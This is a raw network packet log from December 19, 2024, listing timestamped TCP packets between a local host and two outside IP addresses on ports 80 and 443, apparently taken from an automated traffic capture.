Dec 19, 2024 16:10:43.816466093 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:43.816478968 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:43.817118883 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.817172050 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.817238092 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.817481041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.818041086 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.818135023 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.818136930 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.818229914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.819036961 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.819083929 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.819134951 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.819216967 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.819880962 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.819933891 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.820002079 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.820091009 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.820827961 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.820864916 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.820934057 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.822520971 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.822649002 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.822685957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.822725058 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.822746038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.822746038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.822859049 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.823506117 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.823764086 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.824037075 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.824414015 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.824537039 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.824544907 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.824649096 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.825316906 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.825457096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.825529099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.826252937 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.826364994 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.826380968 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.826453924 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.827158928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.827292919 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.827292919 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.827332020 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.828069925 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.828145027 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.828202009 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.828387976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.829006910 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.829149961 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.829457045 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.829910040 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.830075979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.830121994 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.830121994 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.830774069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.830823898 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.830907106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.831854105 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.832011938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.832014084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.832065105 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.832778931 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.832823992 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.832854033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.832927942 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.833508015 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.833576918 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.833605051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.833617926 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.834470987 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.834676027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.834758043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.835336924 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.835423946 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.835444927 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.835477114 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.836227894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.836282969 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.836344957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.836874962 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.837161064 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.837236881 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.837276936 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.837276936 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.838080883 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.838129044 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.838200092 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.838274002 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.838996887 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.839056969 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.839059114 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.839298010 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.839847088 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.839962006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.839963913 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.840049028 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.840754032 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.840895891 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.840971947 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.841675997 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.841732979 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.841764927 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.841906071 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.965079069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.965348959 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.965393066 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.965393066 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.965603113 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.965617895 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.965665102 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.965665102 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.966444969 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.966656923 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.967240095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.967331886 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.967433929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.967549086 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.990113974 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.990133047 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.990232944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.990309000 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.990334034 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.990379095 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.990379095 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.991230965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.991298914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.991377115 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.991434097 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.992038965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.992093086 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.992820024 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.992925882 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.992966890 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.992981911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.993015051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.993029118 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.993907928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.993963003 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.994009972 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.994780064 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.994828939 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.994915009 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.994998932 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.995735884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.995748997 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.995786905 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.995788097 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.996650934 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.996834993 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.997004986 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.997550011 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.997699022 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.997984886 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.998070002 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.998393059 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.998455048 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.998542070 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.998625040 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.999294996 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.999341965 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.000261068 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.000365973 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.000380039 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.000417948 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.001257896 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.001353979 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.001564026 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.001646042 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.002239943 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.002253056 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.002396107 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.003128052 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.003140926 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.003192902 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.003257036 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.003963947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.004045010 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.004106998 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.004725933 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.004779100 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.004884958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.004964113 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.005697012 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.005795002 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.005852938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.006601095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.006685019 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.006819963 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.006869078 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.007504940 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.007648945 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.007683992 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.007776022 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.008414984 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.008743048 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.008873940 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.008929968 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.009299994 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.009397030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.010281086 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.010294914 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.010324001 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.010335922 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.010335922 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.010643005 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.011298895 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.011343956 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.011392117 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.011425972 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.012772083 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.012784958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.012844086 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.012844086 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.013330936 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.013345003 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.013396978 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.013968945 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.013982058 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.014034033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.014034033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.014763117 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.014940023 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.015384912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.015516043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.015722990 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.015737057 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.015790939 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.015790939 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.016612053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.016669989 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.017369032 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.017545938 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.017560959 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.017610073 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.017632008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.018456936 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.018537998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.018585920 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.019366026 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.019525051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.020035982 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.020107985 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.020245075 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.020261049 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.020338058 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.021192074 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.021265030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.021306992 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.021358013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.022191048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.022259951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.022355080 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.022420883 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.022983074 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.023015022 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.023040056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.023133039 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.023900032 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.023911953 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.024097919 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.024760008 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.024856091 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.025227070 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.025489092 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.025696993 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.025749922 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.025769949 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.026015043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.026606083 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.026647091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.026690006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.027528048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.027573109 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.027748108 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.027796984 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.028443098 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.028482914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.028665066 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.028702021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.029366016 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.029562950 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.029606104 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.030267954 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.030281067 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.030311108 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.030344963 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.031155109 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.031514883 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.031559944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.032046080 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.032087088 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.032145977 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.032183886 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.032962084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.033257008 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.033299923 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.033926010 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.033972025 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.034370899 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.034413099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.080569029 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:44.080598116 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:44.157234907 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.157285929 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.157423973 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.157457113 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.157793045 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.157807112 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.157833099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.157850027 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.158624887 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.158647060 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.158663988 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.158689022 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.159519911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.159568071 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.181936979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.182038069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.182039976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.182087898 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.182380915 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.182424068 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.182502985 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.182538986 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.183325052 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.183373928 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.184261084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.184273005 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.184314013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.184380054 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.184420109 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.185128927 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.185147047 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.185178995 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.185197115 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.186032057 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.186078072 CET	49931	80	192.168.2.6	31.41.244.11
